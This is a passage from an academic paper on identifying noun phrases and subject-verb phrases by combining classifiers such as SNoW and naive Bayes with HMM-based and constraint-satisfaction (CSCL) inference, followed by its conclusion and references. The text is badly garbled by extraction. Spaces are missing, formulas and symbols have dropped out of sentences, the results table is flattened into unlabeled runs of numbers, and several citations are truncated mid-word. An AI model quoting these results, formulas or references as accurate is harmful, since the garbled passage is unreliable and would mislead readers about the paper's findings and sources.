for a variety of tasks in natural language and visual processing[10,25].Typically,SNoW is used as a classifier,and predicts using a winner-take-all mechanism over the activation value of the target classes.The activation value is computed using a sigmoid function over the linear sum.In the current study we normalize the activation levels of all targets to sum to and output the outcomes for all targets(states). We verified experimentally on the training data that the output for each state is indeed a distribution function and can be used in further processing as(details omitted).3It is also possible to account for the classifiers’suggestions inside each phrase;details omitted.6ExperimentsWe experimented both with NPs and SVs and we show results for two different represen-tations of the observations(that is,different feature sets for the classifiers)-part of speech(POS)information only and POS with additional lexical information(words).The resultof interest is Recall Precision Precision Recall(here).The data sets used are the standard data sets for this problem[23,3,21]taken from the WallStreet Journal corpus in the Penn Treebank[18].For NP,the training and test corpus was prepared from sections15to18and section20,respectively;the SV phrase corpus was prepared from sections1to9for training and section0for testing.For each model we study three different classifiers.The simple classifier corresponds to thestandard HMM in which is estimated directly from the data.When the observationsare in terms of lexical items,the data is too sparse to yield robust estimates and these entries were left empty.The NB(naive Bayes)and SNoW classifiers use the same feature set,conjunctions of size of POS tags(POS and words,resp.)in a window of size6.Table1:Results()of different methods on NP and SV recognitionMethod NP SVModel Classifier POS tags only POS tags+words POS tags only POS tags+words SNoW90.6492.8964.1577.54HMM NB90.5092.2675.4078.43 Simple87.8364.85SNoW90.6192.9874.9886.07PMM NB90.2291.9874.8084.80 Simple61.4440.18SNoW90.8792.8885.3690.09 CSCL NB90.4991.9580.6388.28 Simple54.4259.27Thefirst important observation is that the SV identification task is significantly more dif-ficult than that the NP task.This is consistent across all models and feature sets.When comparing between different models and feature sets,it is clear that the simple HMM for-malism is not competitive with the other two models.What is interesting here is the very significant sensitivity to the feature base of the classifiers used,despite the violation of the probabilistic assumptions.For the easier NP task,the HMM model is competitive with the others when the classifiers used are NB or SNoW.In particular,the fact that the signifi-cant improvements both probabilistic methods achieve when their input is given by SNoW confirms the claim that the output of SNoW can be used reliably as a probabilistic classifier. PMM and CSCL perform very well on predicting NP and SV phrases with CSCL at least as good as any other methods tried on these tasks.Both for NPs and SVs,CSCL performs better than the others,more significantly on the harder,SV,task.We attribute it to CSCL’s ability to cope better with the length of the phrase and the long term dependencies.7ConclusionWe have addressed the problem of combining the outcomes of several different classifiers in a way that provides a coherent inference that satisfies some constraints.This can be viewed as a concrete instantiation of the Learning to Reason framework[16].The focus here is on an important subproblem,the identification of phrase structure.We presented two approachs:a probabilistic framework that extends HMMs in two ways and an approach that is based on an extension of the CSP formalism.In both cases we developed efficient combination algorithms and studied them empirically.It seems that the CSP formalisms can support the desired performance measure as well as complex constraints and depen-dencies moreflexibly than the Markovian approach.This is supported by the experimental results that show that CSCL yields better results,in particular,for the more complex case ofSV phrases.As a side effect,this work exhibits the use of general classifiers within a prob-abilistic framework.Future work includes extensions to deal with more general constraints by exploiting more general probabilistic structures and generalizing the CSP approach. AcknowledgmentsThis research is supported by NSF grants IIS-9801638and IIS-9984168. References[1]S.P.Abney.Parsing by chunks.In S.P.A.R.C.Berwick and C.Tenny,editors,Principle-basedparsing:Computation and Psycholinguistics,pages257–278.Kluwer,Dordrecht,1991. [2] D.Appelt,J.Hobbs,J.Bear,D.Israel,and M.Tyson.FASTUS:Afinite-state processor forinformation extraction from real-world text.In Proc.of IJCAI,1993.[3]S.Argamon,I.Dagan,and Y.Krymolowski.A memory-based approach to learning shallownatural language patterns.Journal of Experimental and Theoretical Artificial Intelligence,spe-cial issue on memory-based learning,10:1–22,1999.[4] C.Burge and S.Karlin.Finding the genes in genomic DNA.Current Opinion in StructuralBiology,8:346–354,1998.[5] C.Cardie and D.Pierce.Error-driven pruning of treebanks grammars for base noun phraseidentification.In Proceedings of ACL-98,pages218–224,1998.[6] A.Carlson,C.Cumby,J.Rosen,and D.Roth.The SNoW learning architecture.TechnicalReport UIUCDCS-R-99-2101,UIUC Computer Science Department,May1999.[7]K.W.Church.A stochastic parts program and noun phrase parser for unrestricted text.In Proc.of ACL Conference on Applied Natural Language Processing,1988.[8]J.W.Fickett.The gene identification problem:An overview for puters andChemistry,20:103–118,1996.[9] D.Freitag and rmation extraction using HMMs and shrinkage.In Papersfrom the AAAI-99Workshop on Machine Learning for Information Extraction,31–36,1999. [10] A.R.Golding and D.Roth.A Winnow based approach to context-sensitive spelling correction.Machine Learning,34(1-3):107–130,1999.[11]G.Greffenstette.Evaluation techniques for automatic semantic extraction:comparing semanticand window based approaches.In ACL’93workshop on the Acquisition of Lexical Knowledge from Text,1993.[12]R.Grishman.The NYU system for MUC-6or where’s syntax?In B.Sundheim,editor,Proceedings of the Sixth Message Understanding Conference.Morgan Kaufmann Publishers, 1995.[13] D.Gusfield and L.Pitt.A bounded approximation for the minimum cost2-SAT problems.Algorithmica,8:103–117,1992.[14]Z.S.Harris.Co-occurrence and transformation in linguistic nguage,33(3):283–340,1957.[15] putational genefinding.Trends in Biochemical Sciences,SupplementaryGuide to Bioinformatics,pages12–15,1998.[16]R.Khardon and D.Roth.Learning to reason.J.ACM,44(5):697–725,Sept.1997.[17] A.Mackworth.Constraint Satisfaction.In S.C.Shapiro,editor,Encyclopedia of ArtificialIntelligence,pages285–293,1992.V olume1,second edition.[18]M.P.Marcus,B.Santorini,and M.Marcinkiewicz.Building a large annotated corpus of En-glish:The Penn putational Linguistics,19(2):313–330,June1993.[19] A.McCallum,D.Freitag,and F.Pereira.Maximum entropy Markov models for informationextraction and segmentation.In proceedings of ICML-2000,2000.to appear.[20]N.Morgan and H.Bourlard.Continuous speech recognition.IEEE Signal Processing Maga-zine,12(3):24–42,1995.[21]M.Mu˜n oz,V.Punyakanok,D.Roth,and D.Zimak.A learning approach to shallow parsing.InEMNLP-VLC’99,1999.[22]L.R.Rabiner.A tutorial on hidden Markov models and selected applications in speech recog-nition.Proceedings of the IEEE,77(2):257–285,1989.[23]L.A.Ramshaw and M.P.Marcus.Text chunking using transformation-based learning.InProceedings of the Third Annual Workshop on Very Large Corpora,1995.[24] D.Roth.Learning to resolve natural language ambiguities:A unified approach.In Proceedingsof the National Conference on Artificial Intelligence,pages806–813,1998.[25] D.Roth,M.-H.Yang,and N.Ahuja.Learning to recognize objects.In CVPR’00,The IEEEConference on Computer Vision and Pattern Recognition,pages724–731,2000.[26]L.G.Valiant.Projection learning.In Proceedings of the Conference on Computational Learn-ing Theory,pages287–293,1998.。